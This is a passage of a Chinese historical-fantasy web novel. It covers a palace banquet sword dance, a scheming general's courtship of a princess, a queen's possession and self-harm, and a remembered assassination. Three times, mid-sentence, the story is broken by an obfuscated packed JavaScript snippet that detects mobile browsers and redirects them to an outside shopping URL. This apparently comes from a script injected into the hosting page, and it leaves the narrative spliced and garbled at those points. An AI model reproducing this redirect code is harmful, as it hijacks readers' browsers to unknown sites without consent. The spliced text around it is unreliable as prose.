君不见,何年秦皇空九宇,边声连角唤霍卫? 殿中气氛从磅薄激昂逐渐慷慨悲壮,最后琵琶“铮铮”六声急促锐响,收金止鸣,万籁俱寂。 诸宾客沉浸其中,余韵无穷,久久不能回神。 元旻含笑点头,对中常侍道:“赏!” 殿中各人如梦初醒,褚钧贤忙率兵士退下,曲纯儿抱琵琶上前施礼:“愿为诸君敬献《霸王卸甲》。” 苻洵与苻沣对视一眼,苻沣点了点头。 得了允准,苻洵起身取过一柄银漆木剑,单膝跪下抱拳道:“愿作剑器舞为翊王陛下、王后殿下助兴。” 舜英悄声问元昙:“这好像是双人剑舞?” 却见元昙眼神涣散发着愣,羽眉轻蹙、双眸好似有泪光一闪而过,然后起身向元旻敛衽一礼:“臣妹不才,学了些时日这段舞,愿襄助苻将军,为诸君助兴。” 元旻只当她真心喜爱这首曲子,别无他想,温声道:“有劳七妹妹。” 苻洵亦抱拳恭声道:“多谢长公主。” 他今夜穿着海棠红齐领曳撒,身材高挑、肩背笔直、双腿颀长,深绛色锦带束在挺拔有力的腰间,如一株修竹;元昙穿着石榴红窄袖襦裙,浅绛色的披帛从后背绕过挽进肘内,肩若削成,腰如约素。 两人都是罕见的美人,站在一起十分登对养眼,竟有些檀郎谢女的意味。 宫女用红纱罩住宫灯,殿内一片轻红;琵琶声先是忽而急促忽而空,断断续续。营鼓夜传、山雨欲来,美人帐下犹歌舞。 元昙手捧金盏微微屈膝仰视苻洵作劝酒状,衣袂同纤腰左右款摆,绕着苻洵缓慢转圈,苻洵翻腕将剑隐在背后,微微俯首与元昙对视,含情凝睇。 十天前,元昙从残破的牌楼下走出,青石台阶下有座朽烂的木亭,亭中跪坐一人,正专注抚琴。弦和指复柔,一遍又一遍低吟《凤求凰》,琴音柔婉而缠绵,声线透着深深执念和绝望,听得她险些落泪。直到那人抱琴离去,她依然怔愣着远远站在原地。 红纱撤去一些,灯光渐明;琵琶声急夹弹,一阵又一阵,像潮水迭起,主将升帐。 苻洵从元昙手中咬起酒盏,仰头将酒液倒入口中,少许酒液从下颌流下、滑过他脖颈流入领口,再轻启红唇、偏了偏头,酒盏跌落在地。他按剑而起,眼眸掠过一抹妖异的光彩,元昙伸手作挽留状,翘袖折腰,围着即将出征的霸王起舞翩翩。 此后三四天,每天下午那时候,元昙都会站在牌楼下石阶的另一端,听那人抚琴,从《相见欢》、《望梅花》、《游韶光》到《章台柳》、《谒金门》、《长相思》,全程下来是个完整的故事。 乍见之欢、梅下相望、互诉衷肠、同游春景,然而“纵使长条似旧垂,也应攀折他人手”,痛失所爱却只能醉卧花阴,徒留长相思摧人心肝。 大翊尚武成风,无论男女,个个敢爱敢恨、痛快利落,极少有如元昙一般痴迷音律、心思细腻之人。 那天,她情不自禁伸出手,怯生生唤:“这位——公子——” 红纱全部撤下,灯火煌煌;玉指在琵琶弦上快速扫撇,却坐促弦弦转急,霸王开始整队排阵。 苻洵长剑越舞越快,寒光闪闪、鸣铗嘶嘶,霍如羿射九日落,矫如群帝骖龙翔;元昙也抽出长剑,龙泉腾月白,秋水耀星光,却只能亦步亦趋跟在舞得如痴如醉、如癫如狂的苻洵身后,眸光缱绻空落落,绛唇珠袖两寂寞。 碧宁书院青石阶下,那人愕然回身,一身胭脂色绣银丝梅枝的长袍,微风吹过他额角两绺乌发,眉如墨画、肤如细瓷、唇若桃花瓣,让人目醉神迷。见台阶上站着的美貌女子,只淡淡躬身施了个礼:“不知此处有人居住,搅扰了”,毫不留恋地转身离去。 黑纱逐次罩上宫灯,殿内暗淡下来;手指在弦上横按推弦、扫滚夹滚挽三弦,琵琶声高高低低、忐忑起伏,霸王仓皇出逃、丢盔弃甲。 苻洵身法渐颓,赤手交持剑柄,看似踉踉跄跄杂乱无章,却在艰涩移步中透出无尽凄怆,转身扶向紧随的元昙。元昙的剑舞也慢了下来,似凝滞的流云,二人携手起舞,越来越慢,似已无法承载这兵败如山的绝望,对视彼此的双眸微红、泛着点点泪光。 自那天告别之后,元昙再无心督建,在山门从早守到晚,错过了当夜元晞初到龙门行宫、为劳什子荣国名将举办的接风宴,那红衣男子却再未出现。 直到五月二十五,得知元旻已在昨日抵达行宫,她也不好继续避在碧宁书院旁的崔氏邸舍。中午乘车赶往龙门行宫时,却又在洛川南岸听到截然不同的琴音,和熟悉的人声。 下了马车,循声走到一处幽静的临河钓台,钓台后有一棵粗壮的紫薇树。她果然在花荫寻到那道熟悉的身影,一身石榴红交领箭袖长袍,旁若无人狠狠挑起、拨动一根根琴弦,琴音在悲愤和凄厉之间反复横跳。 “凭什么……你凭什么这般磋磨她?吾之珍宝竟成汝之草芥!卑鄙竖子!” 按在琴弦上的双手青筋暴突,琴音越来越激越混乱,压不住的心魔喷薄而出,“铮”一声断裂。同时,他身躯猛地向前一倾,呕出一口鲜血,淋淋漓漓洒上琴身,“人我不妄求了,爱我不奢望了,高官厚禄我统统不要了,只盼着你能好好待她,我能时不时看她一眼……” “为什么,这点念想都留不住?” 他的身躯剧烈颤抖,如被疾风摧折的修竹,十个指头全是血,不知是沾上的,还是被琴弦割破勒出的。他却恍若未见,用手指硬生生将一根根琴弦挑断,低声笑起来、满脸嘲讽和不甘。 “时命不济,我尚可自求之”,他战栗的身躯逐渐稳住,坐直上身,慢慢握紧双拳,唇角绽出的笑意变冷,吐出的每个字坚如磐石,“人不予我,我何不自取之?” 宫灯全被黑纱遮盖,四座漆黑,只有屋顶灯树投下的光照着殿中二人;琵琶声逐渐整齐而平稳,汉军大胜,最终“锵”一声,戛然而止,如一簇骤然盛开又凋落的血花。 元昙敛眉如泣,唇角却浮起一丝安详的笑意,收肘回腕,木剑横着在颈上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苻洵正侧头与苻沣说些什么,因他生得俊美,身边簇拥着五六个舞姬。他随手拉过一个揽在怀里,就着那舞姬的手饮酒;吃醉了酒、身子有些晃,他又揽过另一个舞姬靠着。 整个过程,他一直与苻沣谈笑风生,甚至未有片刻被打断,自然得跟吃饭喝水一般。 感觉有人在直勾勾盯着自己,苻洵转头瞄了一眼元昙,目光柔和与她对视片刻,松开怀中舞姬,示意拥在身边的人散开,然后转过去继续与苻沣笑谈。 如此风流放荡,却不知怎的,令元昙心底掠过一丝隐秘的欣喜。 若元昙再靠得近些,听到他们谈话的内容,定会吓得魂飞魄散。那漂亮灵动的少年将军,正轻描淡写说着最耸人听闻的话—— 苻沣低叱:“你疯了,竟敢觊觎他的女人?” 苻洵笑意愈盛,笑得肩头微颤:“她本就是我的,她已经答应与我订婚,只不过有人过河拆桥食言……” 苻沣:“如今木已成舟,你又能如何?” 苻洵诚挚地耸耸肩:“以后的事谁说得准,有的人看起来好好的,说不定哪天莫名其妙就突然死了。” “住嘴!”苻沣心惊胆战,瞄到元旻仍与舜英在悄声说笑,并未留意这边,才压低声音呵斥道。 忙起身向元旻道别:“我兄弟二人不胜酒力,多谢陛下招待,先行告退。” 待元旻笑着点头,忙紧紧攥住苻洵胳膊,连拖带拉往外拽,刚到殿门,忽听旁边有女声在喊:“建宁王陛下请留步。” 苻沣全身一僵,忙将苻洵往台阶下推了推,看他走远才松了口气。 转身看去,一身玄色深衣的元晴正疾步走来,笑道:“可否借一步说话?” 48. 春日宴 “苻沣走了,咱们终于可以撤了”,元旻松了口气,拉起舜英,“刚才你说什么,以前跟人喝酒,也有姑娘往你身边凑?” 舜英反唇相讥:“也不知你我二人,谁参加的筵席多些?” 元旻转头看向远处:“元晴果然跟苻沣聊上了。” “果然?”舜英顺着他目光看去,有些诧异,“他们怎么聊一块儿去了?” “不知道,那丫头神神叨叨,说什么宿命中人”,元旻轻笑,“话说回来,我心中的厚德君子不多,苻沣算一个,他再年轻十岁倒算良配……如今虽说大了些,也未尝不可。” “应该不会,五公主根本无心风月”,舜英摇头,“你看他们,哪里像花前月下?” 说到花前月下,她又想到那曲《霸王卸甲》,苻洵与元昙的对视很是缱绻……然而事关苻洵,她不愿多想、多说些什么。 只见不远处一座石亭中,元晴站得姿仪端方,笑吟吟同苻沣说着什么,而素来稳重的苻沣,却激动得时笑时泣、不能自抑地手舞足蹈,膝盖一弯就要跪下。 “可怜天下痴心人”,舜英叹了口气,“上次摇光回来,顺道与我聊了几句,萧王后从年节后就病了,不算重,却怎么治都不见起色,苻沣重金悬赏杏林圣手,药石罔医。” 元旻沉吟:“果如元晴所说,剑鞘将破,倒希望那丫头的祝由术能派上用场。” 舜英担忧:“苻沣是痴情人,萧王后若有不测,三宫六院个个不入他眼,立嗣之争危在旦夕。” 元旻点头:“让摇光多留意此事,如今宜静不宜动。” “阿旻,我身子不好,御医说不宜有孕”,舜英忽然开口,带着试探,“宗庙传嗣攸关江山稳固,别的国君弱冠时已经子女绕膝,不如你先纳几宫妃嫔,免得耽误传嗣……” 元旻等了几个月,好不容易等到她与自己相处随意自然了些,正暗自窃喜。她这话一出口,顿时心都凉透了,怒火中烧,伸手捂住她的嘴:“你这些日子怎么回事,净说些疯话!” 见她被吓得瑟缩了一下,他赶紧柔缓表情,张开双臂转了半圈,温声道:“这常服好重,回去换身纱罗的,还早,带你去个好地方。” 舜英回屋换了身丁香色齐腰纱裙,拉开槅门,元旻换了身雪青长袍,静静等在门口。他看了看二人穿着相似的颜色,会心一笑,从袖中取出一条藕荷色绸带:“蒙上眼睛,跟我走。” 一寸半宽的丝绸覆上眼睛,系在脑后打了个结,她的眼前一片雾蒙蒙的浅粉,手被元旻牵着,随他慢慢走下台阶,七弯八拐不知去向何方。 温热的熏衣香环在周围,元旻的声音近在耳畔:“别怕,跟着我走……” 她心下稍安,不再凝聚心神去记路,就这样随波逐流被他牵引着,竟也感受到一份认命的踏实笃定。 脚底路面变得有些坎坷、有些软,像是踩在草地,夜风越来越凉,吹到脸上有些润、带着淡淡草木香。 元旻轻声说:“到了。” 感觉温热停在自己额间,舜英忙轻声叫停,同时挡住他的手:“先不忙,我猜猜这是哪儿?” “有水汽、有凉意,有草地,应是在河边,但踩上草地之前并未听到水声……路程不算太长,咱们在朱雀门外,洛川北岸?” 有光! 她轻柔拂落绸带,一条倒悬的银河浮现眼前,数万盏花灯浮满洛川水面,烂如繁星。 有莲花灯、西瓜灯、菱角灯、月亮灯,逐流水漂行千里,融融暖黄倒映水中、迤逦开去,渐渐延伸到水天交接处,与天上星光连为一体。 元旻提着两盏莲花灯,递给她:“放一放水灯,袚邪禳灾,把那些不快全都忘了。” 二人点燃白烛,滴一些蜡油到灯托上,将蜡烛固定上去。蹲到河边,俯身托着莲花灯的底座,将双手浸入水中,待水灯浮稳当了,再慢慢抽开手。 波面微漾,夜风吹过,莲花灯飘飘忽忽、轻轻旋转着往河心漂荡而去。 元旻见她凝视着河灯发呆,柔声道:“莫怕,等回到昇阳,我们上凰羽寺找大祭司,无论何事,我们一起面对。” 舜英转过来看着他,心里涌出几分歉疚,眼圈发红、唇角弯了弯,缓缓点头。 元旻又拉着她走了几十步,两名宫人已等候多时,手上各托着一只半人高的风灯,篾骨薄软,均匀糊着一层薄如蝉翼的桑皮纸。 又有人送上笔,元旻接过来递给她:“我亲手扎的,选一只喜欢的,写上心愿放飞。” 舜英微愕,这些天他忙得脚不沾地,不知何时竟抽空扎了两只风灯,手指头划拉了道伤口,血珠仍在往外沁。 “怎么不包起来,疼不疼?”她心里歉疚更重,忙不迭拉过他的手,轻轻摩挲着伤口。 元旻浑身一颤,触电似的抽回手,耳根通红,目光躲闪,咽下口水:“一点皮外伤,还不快写字。” 舜英不疑有它,接过笔挤出一个微笑:“我都喜欢。” 元旻眼睛一亮,笑吟吟地说:“全交给你写。” 怄他时能把他气得夜不成寐,哄起他来又总能轻易让他心花怒放,被拿捏成这样,可怎么是好? 风灯烛火熠熠,似两轮明月,从波光粼粼的江面冉冉升起,带着制灯人和放灯人的绵绵祈愿。 “一愿郎君千岁,二愿妾身常健。” “三愿如同梁上燕,岁岁长相见。” 临水河堤上,十二道燃烧着的花火辐散成扇状,射向天空的十二个不同方向,升到最高处散作漫天金点; 原地升起三簇更小的利剑般的火树,摇曳着旋成数团螺纹、穿插交织着散入夜风; 紧接着,火树湮灭处银花暴涨如沸,映入波面美轮美奂,银花背后冉冉升起数十道灿白,到了顶端并不湮灭,而是倒垂着流泄而下,好似银河从九天倾落。 花火照的二人面容明明灭灭,元旻莞尔而笑:“阿英,此时可开怀了些?” 舜英隐隐觉得这话耳熟,却再不敢多想,仰头看向升到顶点的烟花,笑着点了点头。 元旻心神一漾,伸臂把她紧紧环在怀中,轻声道:“阿英,等你找寻到心中所求,我们大婚吧。” “你总说不知自己是谁,我并非你,无法感同身受,也帮不上你”,紧紧拥抱着,他的笑容愈发温柔,“慢慢找寻,我等你。” “父王的赐婚圣旨,我写的册后诏书,至今仍封存在宗正寺,它们与我一样,都在等你。” 舜英垂眸思索、沉默了良久,抬起头,嗓音里透出笑意:“好。” . 洛川南岸,水灯映得钓台明明灭灭,紫薇花荫下,一盏琉璃灯燃着琥珀光,红衣少年跪坐灯下,膝上放着一架文武七弦琴,桐木琴身黑色漆面温润生光。 灯光将少年纤长的睫毛投在细瓷般的脸颊上,他神情沉静而专注。 半透明的琴弦绕过去,弦头绕结,连上岳山顶端的系连绒扣,打了两小圈的结。 少女在他身边坐下,裙摆散在地上如一朵榴花:“如此好听的琴,为何要挑断琴弦?” 红衣少年淡淡道:“徒有琴,弦断无人听。” 少女软声问:“如今改弦更张,却又是为何?” 红衣少年转过头看她:“他人心意再是苦求也难得,倒不如想听什么,自己弹奏;想奏什么,自己听着自得其乐便够了。” 少女静静与他对视:“我也会奏些曲子,也喜欢听曲,是否有幸听闻将军续上新弦后的第一曲?” 红衣少年双眸如春波,盯着看便觉缱绻:“长公主确定要与陌生男子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981258|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫外彻夜逗留?” 元昙低头,有些落寞:“反正我回不回去也无人在意,何况,你不是陌生男子,你是那位声名鹊起、少年封侯的战将苻洵。” 苻洵笑了:“在下少年封侯可与战功无关,不过是生在王室,又恰好有个对我极好的哥哥。” 元昙更失落:“我曾经有两个哥哥、一个弟弟,可他们都不在了。” 苻洵笑容更盛:“你不是还有个当国君的四哥么?” 元昙摇了摇头:“王上是母后生的,我却是母妃生的,我们之前来往并不多。都说四哥人很好,他也并未苛待我,可我总特别怕他。” 苻洵侧耳倾听:“他是人人称道的仁君,有何可怕的?” 元昙娓娓道:“母妃与母后关系很差,我如今算是无父母、无兄弟,只能变着法讨王上开心。他看着和气,狠起来却十分吓人。现在瞧着对王后嫂嫂是很好,年初却不知为何,将她的寝殿封了快三个月,谁敢与嫂嫂多说一句话都会被打死……” 琴弦突然发出“铮”的一声锐响,元昙吓了一跳,苻洵忙宽慰:“不小心碰上了……无妨,许是王后殿下犯什么错了?” 元昙叹了口气:“王后嫂嫂人很好,也一直谨言慎行,看着不大像会犯错。其实我这样叫,她肯定很不乐意……只是当着王上的面这样喊她,王上会很高兴。” “听五姐姐说,褚姐姐根本不接册后的诏书,如今与王上出双入对,可能是认命了吧。想想也是,一国之君想要的女人,怎可能逃得掉?” “你小小年纪,倒会察言观色”,苻洵赞许道,“不过,别人夫妻之事,外人也说不准。” 元昙笑得悲戚:“我见过的这世间最好的夫妻,就是父王与母妃。后来,母妃为了不让父王为难,服毒自尽,没过两天父王伤心过度,也去了。” 苻洵感叹:“得成比目何辞死,愿作鸳鸯不羡仙。” 元昙吸了吸鼻子,落下两滴泪:“他们过世后,我就没有爹娘了,后来二叔篡位,我经常整夜整夜做噩梦,要是他们还在就好了……” 苻洵柔声道:“琴音可解忧,不如以在下这旧琴新弦,为长公主奏一曲《半山雨》。” 琴音如雨丝穿梭在竹叶间,悠悠渺渺戛然而止……苻洵停下抚弦的手,看着靠在自己肩头入梦的少女,面无表情眼神冰冷。 对岸风灯如明月冉冉升起,紧跟着十二道花火如孔雀开屏升到高空、散作无数星光,明明灭灭照着相拥的两人。隔得太远,若非他对那两人太熟悉,根本认不出来。 元昙睁开惺忪睡眼,看到是他,刷的红了脸。 苻洵轻笑:“公主此举很是不妥?” 见元昙不解,他眸中忽绽出奇异的光彩:“如你所见,在下生性风流浪荡,府中妾侍如云,公主深夜与我相会,会不会太危险了?” “以前父王也这样”,元昙咬唇摇头,“但那都是逢场作戏,母妃一去他们就散了。” 见苻洵笑而不语,她又鼓起勇气问:“有何危险?” 苻洵笑意更浓,侧过上半身,偏了偏头凑近她脖颈,像是要耳语。 他的衣袍散发醇厚的甘甜木香,像是用上好的龙涎香熏过,将她整个人笼罩其中,甜得她目醉神迷。 他的下颌、脸颊都是温热的,近得即将贴上她颈窝,能感知到他跳动的血脉、拂过她后颈的潮润呼吸。像有片羽毛在那块肌肤轻蹭,柔柔的麻痒弥散开来,以脖颈为中心、她半边脸和半个身子都被蹭得又酥又麻。 她心跳得像擂鼓,喉咙滑动咽下一口唾沫,半边脸似被烈火烧灼,斜了斜目光瞟一眼他的脸,像是期待又像是推拒。 终于,他坐正上身退开,嗓音带着笑、轻得几不可闻:“若公主遇到的不是我,可没这么便宜了。” 49. 我念我执 元旻站在房内,张开双臂,两名宫人正替他穿礼服。 门哐当开了,元晴伸进个脑袋:“四哥,我的通关符节不见了。” 元旻蹙眉低叱:“不会敲门么?” 元晴扁了扁嘴,无奈道:“上次倒是敲门了,四哥说我没长手。” 元旻转过头不再看她,对候在门口的黄门吩咐:“找周睿才再给她一块符节。” “四哥最疼我啦。”元晴识趣,笑吟吟地敛衽一礼,退了出去。 过了片刻,响起“砰砰”敲门声,隔着门传来元晴的声音:“四哥,建宁王陛下已整装待发,褚姐姐却一直未起。” 元旻深吸了口气,竭力让自己语气听起来平和:“多大点事,让周睿才和典客署的人过去操持。” 这些天,舜英夜里梦魇不断、白天还强撑着操持会盟,好容易熬到结束,多睡些时辰又如何? 一个时辰后,洛京龙门渡口,苻沣携苻洵、元晴及随行官员正欲渡河,身后一骑疾驰而来,马背上的男子遥遥高呼:“五公主请留步!” 元晴回首一瞥,对苻沣歉疚道:“怕是有急事需回去耽搁几日,还请陛下先行,待我骑马追来……追不上也无妨,吾已携好两国通关符节。” 苻沣忙笑道:“五公主请自便,肯为拙荆不辞辛劳,小王已是感激不尽,届时留一队人马在龙骨关候着接应公主。” 元晴也不推辞,含笑躬身一礼,匆匆拜别,纵身跃上马背,调转马头转向行宫。 苻沣目送着她走远,才笑着转过头,却发现苻洵也回望洛川,唇角噙笑,顿时火冒三丈,怒叱:“看什么看,回去!” 苻洵乖顺地点了点头,左手牵着马随苻沣走上渡船,右手悄然握紧了袖中那块通关符节,指尖仿佛还残留着少女的幽兰清芬,铜质的符节上錾刻着四个大字——“翊龙骨关”。 位高权重也不尽是好事,比如他苻洵自从崭露头角,出入他国通关符节便尽数作了废。想进去别国,需先呈递国书,得了允准、一入关隘便开始被格外关注,他的行踪也会被以最快速度送至此国鸿胪寺。 想悄声些都不行。 还好有她,才有了它。有了它,往后可不方便多了么? . 元晴快马加鞭从赤阳桥疾驰而过,冲进朱雀门后并未下马,速度不减、直奔舜英住的霜仪阁,抵达门口才堪堪勒住缰绳,将鞭子一抛,冲上台阶、推门而入。 周围宫人侍从早退了个干净,霜仪阁鸦雀无声。 四下里窗扉紧闭,糕饼、食盒、破碎的碗碟散落一地,元旻坐在床边,一只手托着舜英的头、枕在自己膝上,另一只手紧紧制住她的两只手腕。 他的礼服前襟,有利器刺出的痕迹,晕出一小片血痕。而舜英情况更糟,双目紧闭,颈部一道血淋淋的刀痕,再深半分就能要了她的命。 幽暗中,元旻神色冷肃,不容拒绝地开口:“阿晴你记着,此时此地,你所见所闻,不得有第三人知晓,连母后都不行。” 元晴会意,肃然点头。 半个多时辰前,元旻送别了苻沣,又同随行官员谈了些事。眼看太阳已近中天,舜英还未出门,有些担忧。 这个时辰,她再困,也该饿了。 于是叫人取了些热糕来,自己提着,闲闲地走到霜仪阁,轻敲数下却无人应门。 他不禁莞尔,轻声呼唤:“阿英,起来用些膳食再睡……” 仍悄寂无声。 他玩笑道:“再不应门,可直接进来了。” 屋内忽“嘭”的一声巨响,紧接着传来一声凄厉的哀嚎。 元旻心一沉,将食盒丢开,破门而入。 电光火石间—— 雪亮的锋芒带着赫赫风声,当胸刺来,他抬手一掌劈出,见持刀者是舜英,忙收回攻势侧身避让。却已来不及,舜英身法之敏捷,他向来望尘莫及,错身的瞬间,那柄雪亮的短刀已当胸刺入。 舜英面无表情、两眼呆滞,毫不迟疑地将刀一分一分推进去。 “阿英醒醒,是我!”短刀刺来的刹那,他紧紧抓住她持刀的手往外推去,痛心低呼。 舜英动作滞了一瞬,也只有一瞬,紧接着继续挣扎与他搏力,要把那柄短刀送进他心口。 元旻难以置信,悲声痛呼:“阿英,你不认得我了么?” 不可思议的一幕出现了,舜英喉头滚过两声呜咽,艰难伸出另一只手来,紧紧抓住持刀的手,与他那只手一起,将持刀的手连同短刀一起,往外拔去。 “走!”她失声呼喊,带着哭腔,撕心裂肺。 刀光映照下,她清丽的脸上时而欢喜、时而狰狞、时而忧愁、时而悲伤、时而恐惧、时而惊讶,像是有无数不同的灵魂在撕扯这唯一的躯壳。 “我不走”,他定了定神,将她持刀的手推开,紧握着制住手腕,唇角绽出笑容,“看着我眼睛,我不信你会伤我。” 她瞬息万变的表情僵了片刻,费力转动眼珠与他对视,迷惘之中略透出一丝清明,唇角微弯,笑了笑。 然后,他听到她咬牙切齿地,一字字道:“你们休想!” 说时迟那时快,她持刀的那只手一松,短刀坠落,另一只手飞快逃出,一把接住刀柄,横刀挥向自己脖颈。 元旻心惊胆寒,仓促间伸手敲向她后颈,将她敲晕。 短刀堪堪切入脖颈一分,随着她双手的无力垂下,缓缓掉落。刀锋抹过之处,缓缓沁出一线殷红。 脚步声络绎不绝,守在不远处的侍从听到霜仪阁传来杯碟破碎声,飞快赶了过来。 “都滚远点”,元旻怒叱,思索片刻又说,“即刻着人快马去龙门渡,把五公主拦回来!” . 元晴一边听他陈述,一边俯下身,双手交叠按在舜英心口,合眼感应,脸色越来越凝重,失声惊呼。 “好厉害!” 她的口中念念有词,透过雪白的中衣,舜英心口缓缓浮出一团浅红的亮光,细细看去,竟有无数细微的红色光点往外飞溅,使得这团光好似沸腾的热汤。 念诵声越来越快,那团红光也越跳越激烈,像是一颗拼命逃离胸腔的心脏。 忽听“嘶”的长啸,红光大盛。 电光火石间,元晴一手将舜英从床上拎起扔到地上,一手猛地推开元旻。 元旻还没来得及心疼她摔的那一下,元晴忽肃然叱令:“开所有门窗,泄些天光进来!” 元旻心神一震,忙站定,大步走向门窗。 门窗四开,天光大泄,元晴神色凛不可犯,取出一个干净的茶杯,逐一刺破十指,挤出血滴后放到舜英身侧,再点在其舜英七窍、囟门、眉心、心口处。 舜英心口浮动的红光挣扎着涨缩几次,最终黯淡了下去。 元晴满脸的凛然也散了,撑着地面缓缓站起来,坐到椅子上,长舒了一口气,神色懒怠:“这是民间秘术,以血为媒,叠加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一切发生得太快,他连拔剑都来不及,就被扑倒在地,护在他身上的人已然痛到抽搐,却还痉挛着张开双臂、为他挡下身后所有攻击。她徒劳地张开嘴,却只发出破旧风箱般的荷荷啸声。 尖叫声、惊呼声和后知后觉的“护驾”喝斥此起彼伏。 他看到了舜英的血。 那是他第一次如此直观地感受仇恨和死亡。 刺客不止放了三支冷箭,还一拥而上,举着长刀短剑刺下,然后将绳套圈住她脖子往外拖拽了数丈,她的血浸透了他的锦衣,她的双臂却仍旧死死抱紧他,连带着他也被拖向湖边。 他的衣服被地面磨破、皮开肉绽的疼,远不及那些扎到她身上的一刀又一刀。 终于,围攻舜英的刺客被匆匆赶来的隐蝠卫诛灭,绳套的惯性却带着她飞出,坠入龙川湖。 他眼睁睁看着生命中唯一的那个她,无论他风光无限还是身陷囹圄,无论他健康还是重病,无论他前途光明还是黯淡,永远不会抛弃他、永远站在他身后,永远无条件尊重他、信赖他、支持他,心里眼里全是他也只有他,对他好到忘却自我、不惜生死的她。 一点点沉入龙川湖,流出的血染红了湖水。 他感觉心口被剜去一大块、痛不欲生,那一刹那忘了身份和安危,想也不想就随着她一跃而下。 50. 起烽烟 多年后,那次刺杀被称为“龙川湖暴乱”,组织实施者是近千名滬国遗民,筹谋数年、计划周详,还有不计其数的官员、平民为其掩护。 昭王父子得隐蝠卫拼死相护,有惊无险渡过一劫。 隐蝠卫近乎全军覆灭,大统领许一舟中了数刀,坠入龙川湖、尸骨无存。 对滬南道怀柔多年的昭王被彻底激怒,出身郑氏宗室、代管滬南道的郑载弘举家抄斩。 廷尉寺驻点燮陵查办了近半年,从严、从重、从快,查出涉案者近万。案发处搭起了刑台,案犯一经抓获,就地枭首示众。 龙川湖的红,漾了近三月才逐渐消散。 此后便是昇阳分割滬南道为皋州、萝州、沵州、河州四大州府,从朝中派遣刺史,并派十万大军强力入住。派去官员却屡屡被暗杀、驻军也与居民冲突不断。 征和二十年春,连丧三子的昭王身体变差、斗志锐减,撤回了滬南驻军,史称“征和二十年大撤军”。 而后,再度起用宗室子弟郑载云,封为护国公代管滬南道,暴乱始平。 . “从小到大,总是她一直护着我”,元旻凝视着舜英出神,笑意苦涩,“我想护她,却总是护不住。” 幸运的是,舜英那次受的都不是致命伤,只是醒来之后对那段记忆很模糊。他以为养好了伤就过去了,没成想更大的磨难在这儿等着。 元晴容色肃穆,长长叹息:“四哥,这就是你的道。” 见元旻不解,又道:“星辰经天,各行其道。父王与你的道,是君王之道,肩负大翊万万民生,所以总会有人追随你、拥戴你们。” “如崔夫人那般千里奔赴、举母族去托举,如母后那般自断一臂、苦守四年,如九叔和大哥那般不恋权柄、倾力襄助,也有如许统领和褚姐姐那般不计祸福、不惧生死。” “你们要做的,是坐上他们将你举上的高位,坐稳它,再反过来,庇护、泽被万民。” 元旻愣住了,下意识看向昏睡的舜英,苦笑:“所以,我的道,就是眼睁睁看着她离去,看着她、他们前赴后继去为我送死?” 话音未落,急促的马蹄声奔驰而来,停在棠梨宫门口,马背上的信使嘶声高呼:“陛下,陛下,宣庆急报,求见陛下!” “快去吧,陛下”,元晴不忍地闭上双眼:“四哥,高处不胜寒啊。” 元旻好似没听见,继续问:“所以,这个滬南道,她非去不可?” 元晴沉默,微不可察地点了点头。 又一阵仓促的马蹄声,同样急促地停在棠梨宫门,信使嘶声高呼:“滬南道急报,求见陛下!” 元旻双手紧握成拳,微微发颤,冷声道:“那朕就赐她钦差御剑,封她位高权重,再派十万骑兵、三千铁甲,踏平滬南道,倒要看看缠上她的是什么晦气东西!” 元晴目光复杂,叹了口气:“四哥,褚姐姐有自己的使命,你不该扰乱她的道。” 元旻一震,愕然抬头看向元晴。 突然就想起那夜,舜英掷地有声的质问——我是谁,何所思、何所求,去往何处? 元晴见他心绪激烈,于是继续款款劝谏。 “曾经,你因不舍,强行封她为后,被拒后又非让她穿王后服色招摇过市,想织一个华丽的金笼把她圈养在内。” “后来,你假意放手,与她特权,让她做了些看起来很有用的事,无非是打开金笼,将她放进个有天罗地网的树林,看着洒脱,她还在你的网里。” “现在,你晓得了她要去滬南,又想公器私用,为她打破滬南道艰难维护十多年的平衡。” “可是,褚姐姐她不是谁养的家雀,她本该翱翔九霄的重明,她应当脱离你的期冀,迈出你的庇护,去做那些自己想做的、该做的事,去走合乎自己的道。” 元旻笑起来,眼圈发红:“所以,我还是只能看着……看着她,去走她自己的道?” “我懂了”,怔愣了片刻,他似有所悟,笑容凄怆:“阿晴,不知从何时起,我所有的噩梦,都是她与我的生离死别。” 元晴静静注视着他,忽然笑了:“四哥,你知道我很会相面的,我看到褚姐姐成了你的王后,我还看到……朱明院的前堂、比肩停放着你们的棺椁。” “当真?”元旻双眼亮了亮,心下稍安,忽然想到什么,转为忧虑:“阿晴,你启用大禁忌术在先、窥测天机在后,为我做到这样地步,是否会伤及自身?” 元晴摇了摇头,得意道:“只是一瞥,无妨,你妹子可是凰羽寺天分最高的少祭司呢。” “辛苦五妹妹照应阿英”,元旻霍然站起来,含笑朝她躬身一拜,转身离去,边走边吩咐,“传宣庆、滬南信使觐见,不必准备仪仗,给朕和国尉各备三匹快马,即刻出发,回驾昇阳!” 身后,传来元晴俏皮的声音——“四哥放心,四哥慢走!” “噗”,胸口淤积的热流冲出口鼻,元晴抬手轻轻擦拭,看了看满手猩红,眼神沉静:“伤不伤的又怎样,你是一国之君啊。” . 